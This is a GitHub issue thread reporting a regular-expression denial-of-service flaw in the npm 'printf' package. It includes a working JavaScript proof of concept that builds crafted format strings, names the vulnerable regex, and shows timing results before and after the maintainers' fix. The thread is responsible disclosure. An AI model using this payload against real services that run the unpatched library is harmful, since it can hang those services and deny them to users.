Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

ReDoS in printf #31

Closed
yetingli opened this issue Feb 9, 2021 · 5 comments · Fixed by #32
Closed

ReDoS in printf #31

yetingli opened this issue Feb 9, 2021 · 5 comments · Fixed by #32

Comments

@yetingli
Copy link
Contributor

@yetingli yetingli commented Feb 9, 2021

Hi,

I would like to report two Regular Expression Denial of Service (REDoS) vulnerability in printf.

It allows cause a denial of service when using crafted invalid formats.

You can execute the code below to reproduce the vulnerability.​

var printf = require("printf")

function build_attack(n) {
	var ret = "%(0)0"
	for (var i = 0; i < n; i++) {
		ret += "0"
	}

	return ret+"◎";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        printf(attack_str, -42)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Feel free to contact me if you have any questions.

Best regards,
Yeting Li​​​​

@wdavidw
Copy link
Member

@wdavidw wdavidw commented Feb 9, 2021

Thank you for reporting this issue, did you look for a solution ?

@yetingli
Copy link
Contributor Author

@yetingli yetingli commented Feb 9, 2021

Thank you for reporting this issue, did you look for a solution ?

Maybe a simple solution is to limit the length of the format? Or you can use the re2 (see the link) regular expression engine instead of the original one?

In addition, the regular expression is vulnerable to regular expression denial of service (REDoS) due to overlapping capture groups ([0 +\-\#]*)(\*|\d+)?(\.)?(\*|\d+)?.

If you want to modify the regular expression, I can try to fix it.

@wdavidw
Copy link
Member

@wdavidw wdavidw commented Feb 9, 2021

I was going in the direction of modifying the regular expression. Please try to do it, I don't have much time at the moment, and write tests to back it.

@yetingli yetingli mentioned this issue Feb 10, 2021
@yetingli
Copy link
Contributor Author

@yetingli yetingli commented Feb 10, 2021

I was going in the direction of modifying the regular expression. Please try to do it, I don't have much time at the moment, and write tests to back it.

Hi, the fixed regular expression is equivalent to the previous one, and the matching speed is much improved compared to before. If you have time, you can provide some test cases. Maybe I can get a more efficient regular expression based on these test cases.

@yetingli
Copy link
Contributor Author

@yetingli yetingli commented Feb 10, 2021

You can look at the following table to compare the matching speed of the two regular expressions.

Attack String Original Regex Fixed Regex
"%(0)0"+ "0"*1000+"◎" 2060 ms 11 ms
"%(0)0"+ "0"*2000+"◎" 11187 ms 31 ms
"%(0)0"+ "0"*3000+"◎" 38149 ms 68 ms

@wdavidw wdavidw closed this in #32 Feb 12, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Linked pull requests

Successfully merging a pull request may close this issue.

2 participants